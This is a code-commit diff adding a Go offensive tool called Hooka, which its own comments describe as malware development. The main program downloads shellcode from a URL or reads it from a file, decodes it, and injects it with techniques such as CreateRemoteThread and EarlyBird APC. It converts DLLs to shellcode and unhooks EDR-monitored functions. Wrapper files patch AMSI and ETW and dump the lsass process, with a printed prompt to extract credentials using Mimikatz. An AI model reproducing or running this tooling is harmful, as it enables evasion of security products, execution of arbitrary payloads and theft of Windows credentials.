github.com/mattn/go-colorable v0.1.9 h1:sqDoxXbdeALODt0DAeJCVp38ps9ZogZEAXjus69YV3U=
|
||||
github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc=
|
||||
github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=
|
||||
github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU=
|
||||
github.com/mattn/go-isatty v0.0.14 h1:yVuAays6BHfxijgZPzw+3Zlu5yQgKGP2/hcQbHb7S9Y=
|
||||
github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94=
|
||||
golang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
|
||||
golang.org/x/sys v0.0.0-20200116001909-b77594299b42/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200223170610-d5e6a3e2c0ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20200828194041-157a740278f4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
|
||||
golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.0.0-20210630005230-0f9fa26af87c/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/sys v0.3.0 h1:w8ZOecv6NaNa/zC8944JTU3vz4u6Lagfk4RPQxv92NQ=
|
||||
golang.org/x/sys v0.3.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
||||
golang.org/x/term v0.1.0/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=
|
||||
golang.org/x/term v0.3.0 h1:qoo4akIqOcDME5bhc/NgxUdovd6BSS2uMsVjB56q1xI=
|
||||
golang.org/x/term v0.3.0/go.mod h1:q750SLmJuPmVoN1blW3UFBPREJfb1KmY3vwxfr+nFDA=
|
||||
@@ -0,0 +1,255 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"os"
|
||||
"time"
|
||||
"flag"
|
||||
"strings"
|
||||
"encoding/hex"
|
||||
"encoding/base64"
|
||||
|
||||
// Hooka
|
||||
"github.com/D3Ext/Hooka/core"
|
||||
|
||||
// My own malware dev package
|
||||
l "github.com/D3Ext/maldev/logging"
|
||||
)
|
||||
|
||||
func main() {
|
||||
var shellcode []byte
|
||||
var err error
|
||||
|
||||
// Parse CLI flags and retrieve values
|
||||
sc_url, sc_file, dll_file, technique, hook_detect, _, _, base64_flag, hex_flag, test_flag, lsass := core.ParseFlags()
|
||||
|
||||
l.PrintBanner("Hooka!")
|
||||
l.Println(" by D3Ext - v0.1")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
if (sc_url == "") && (sc_file == "") && (dll_file == "") && (!hook_detect) && (!test_flag) { // Enter here if any main flag was especified
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Parameters missing: provide a shellcode to inject (--file/--url/--dll), detect hooked functions (--hooks) or test program capabilities (--test)")
|
||||
os.Exit(0)
|
||||
|
||||
} else if (sc_url != "") && (sc_file != "") && (dll_file == "") { // Check if both --url and --file flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use --url and --file at the same time!")
|
||||
|
||||
} else if (sc_url != "") && (sc_file == "") && (dll_file != "") { // Check if both --url and --dll flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use --url and --dll at the same time!")
|
||||
|
||||
} else if (sc_url == "") && (sc_file != "") && (dll_file != "") { // Check if both --file and --dll flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use --file and --dll at the same time!")
|
||||
|
||||
} else if (sc_url != "") && (sc_file == "") && (dll_file == "") {
|
||||
|
||||
if (base64_flag) && (hex_flag) { // Check if both flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!")
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
l.Println("\n[+] Remote shellcode URL: " + sc_url)
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
if (!base64_flag) && (!hex_flag) { // Check shellcode encoding flags
|
||||
l.Println("[+] No encoding was especified")
|
||||
} else if (base64_flag) && (!hex_flag) {
|
||||
l.Println("[+] Shellcode encoding: base64")
|
||||
} else if (!base64_flag) && (hex_flag) {
|
||||
l.Println("[+] Shellcode encoding: hex")
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
l.Println("[*] Retrieving shellcode from url...")
|
||||
shellcode, err = core.GetShellcodeFromUrl(sc_url)
|
||||
if err != nil { // Handle error
|
||||
l.Println("[-] An error has ocurred retrieving shellcode!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
if (base64_flag) && (!hex_flag) { // Decode shellcode if necessary
|
||||
l.Println("[*] Decoding shellcode...")
|
||||
shellcode, err = base64.StdEncoding.DecodeString(string(shellcode))
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
} else if (!base64_flag) && (hex_flag) {
|
||||
l.Println("[*] Decoding shellcode...")
|
||||
shellcode, err = hex.DecodeString(string(shellcode))
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
}
|
||||
|
||||
if (technique != "") {
|
||||
l.Println("[*] Injecting shellcode using " + technique + " function")
|
||||
}
|
||||
|
||||
err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Shellcode should have been executed without errors!")
|
||||
|
||||
} else if (sc_file != "") && (sc_url == "") && (dll_file == "") {
|
||||
|
||||
if (base64_flag) && (hex_flag) { // Check if both flags were passed
|
||||
l.Println()
|
||||
flag.PrintDefaults()
|
||||
l.Println("\n[-] Error: you can't use base64 and hex encoding flag at the same time!")
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
_, err := os.Stat(sc_file) // Check if file exists
|
||||
if os.IsNotExist(err) {
|
||||
l.Println("\n[-] Especified file doesn't exist!")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info
|
||||
l.Println("[+] Shellcode file: " + sc_file)
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[*] Getting shellcode from file")
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
shellcode, err = core.GetShellcodeFromFile(sc_file) // Read file and retrieve shellcode as bytes
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
if (!base64_flag) && (!hex_flag) { // Check shellcode encoding flags
|
||||
l.Println("[+] No encoding was especified")
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
} else if (base64_flag) && (!hex_flag) {
|
||||
l.Println("[+] Shellcode encoding: base64")
|
||||
shellcode, err = base64.StdEncoding.DecodeString(string(shellcode))
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[*] Decoding shellcode")
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
} else if (!base64_flag) && (hex_flag) {
|
||||
l.Println("[+] Shellcode encoding: hex")
|
||||
shellcode, err = hex.DecodeString(string(shellcode))
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[*] Decoding shellcode")
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
}
|
||||
|
||||
if technique != "" {
|
||||
l.Println("[*] Injecting shellcode using " + technique + " technique")
|
||||
}
|
||||
|
||||
err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Shellcode should have been executed without errors!")
|
||||
|
||||
} else if (sc_url == "") && (sc_file == "") && (dll_file != "") {
|
||||
|
||||
dll_filename := strings.Split(dll_file, ",")[0] // Get DLL path
|
||||
dll_func := strings.Split(dll_file, ",")[1] // Get DLL function to execute
|
||||
|
||||
_, err := os.Stat(dll_filename) // Check if especified dll exists
|
||||
if os.IsNotExist(err) {
|
||||
l.Println("\n[-] Especified DLL doesn't exists!")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
time.Sleep(200 * time.Millisecond) // Add some delay to let the user read info
|
||||
l.Println("\n[+] DLL file: " + dll_filename)
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[+] Function to execute: " + dll_func)
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
l.Println("[*] Converting " + dll_filename + " to position independant shellcode")
|
||||
shellcode, err := core.ConvertDllToShellcode(dll_filename, dll_func, "") // Convert DLL to shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
l.Println("[+] Process finished successfully!")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
|
||||
if (technique != "") { // Check if technique has value so it doesn't get printed twice
|
||||
l.Println("[*] Injecting shellcode using " + technique + " technique")
|
||||
}
|
||||
|
||||
err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Shellcode should have been executed without errors")
|
||||
|
||||
} else if (sc_url == "") && (sc_file == "") && (dll_file == "") && (hook_detect) { // Enter here if --hooks flag was especified
|
||||
|
||||
l.Println("\n[*] Detecting hooked functions...")
|
||||
|
||||
all_hooks, err := core.DetectHooks() // Get all hooked functions
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Process finished")
|
||||
|
||||
if len(all_hooks) >= 1 { // Check if hooks array contains at least one function
|
||||
l.Println("[*] Hooked functions:")
|
||||
for _, h := range all_hooks {
|
||||
l.Println(h)
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
} else {
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
l.Println("[+] No function is hooked!")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
|
||||
} else if (sc_url == "") && (sc_file == "") && (!hook_detect) && (test_flag) {
|
||||
|
||||
l.Println("\n[*] Testing shellcode injection with calc.exe shellcode")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
err := core.InjectWithTechnique(core.CalcShellcode(), technique) // Inject calc.exe shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
l.Println("[+] Shellcode should have been executed!")
|
||||
|
||||
} else if (lsass != "") { // Enter here if --lsass flag was especified
|
||||
l.Println("[*] Dumping lsass process to " + lsass)
|
||||
|
||||
err := core.DumpLsass(lsass)
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred, ensure to be running as admin:")
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
l.Println("[+] Process finished! Now use Mimikatz in your machine to extract credentials")
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func PatchAmsi(pid int) (error) {
|
||||
return core.PatchAmsi(pid)
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func PatchEtw() (error) {
|
||||
return core.PatchEtw()
|
||||
}
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
package hooka
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
|
||||
"github.com/D3Ext/Hooka/core"
|
||||
)
|
||||
|
||||
func FuncFromHash(hash string, dll string) (*windows.LazyProc, string, error) {
|
||||
return core.FuncFromHash(hash, dll)
|
||||
}
|
||||
|
||||
func HashFromFunc(funcname string) (string) {
|
||||
return core.HashFromFunc(funcname)
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
package hooka
|
||||
|
||||
import (
|
||||
"github.com/D3Ext/Hooka/core"
|
||||
)
|
||||
|
||||
func DetectHooks() ([]string, error) {
|
||||
return core.DetectHooks()
|
||||
}
|
||||
|
||||
func IsHooked(func_name string) (bool, error) {
|
||||
return core.IsHooked(func_name)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func DumpLsass(output string) (error) {
|
||||
return core.DumpLsass(output)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,21 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func CreateRemoteThread(shellcode []byte) (error) {
|
||||
return core.CreateRemoteThread(shellcode)
|
||||
}
|
||||
|
||||
func CreateProcess(shellcode []byte) (error) {
|
||||
return core.CreateProcess(shellcode)
|
||||
}
|
||||
|
||||
func Fibers(shellcode []byte) (error) {
|
||||
return core.Fibers(shellcode)
|
||||
}
|
||||
|
||||
func EarlyBirdApc(shellcode []byte) (error) {
|
||||
return core.EarlyBirdApc(shellcode)
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,8 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func Unhook(funcname string) (error) {
|
||||
return core.Unhook(funcname)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user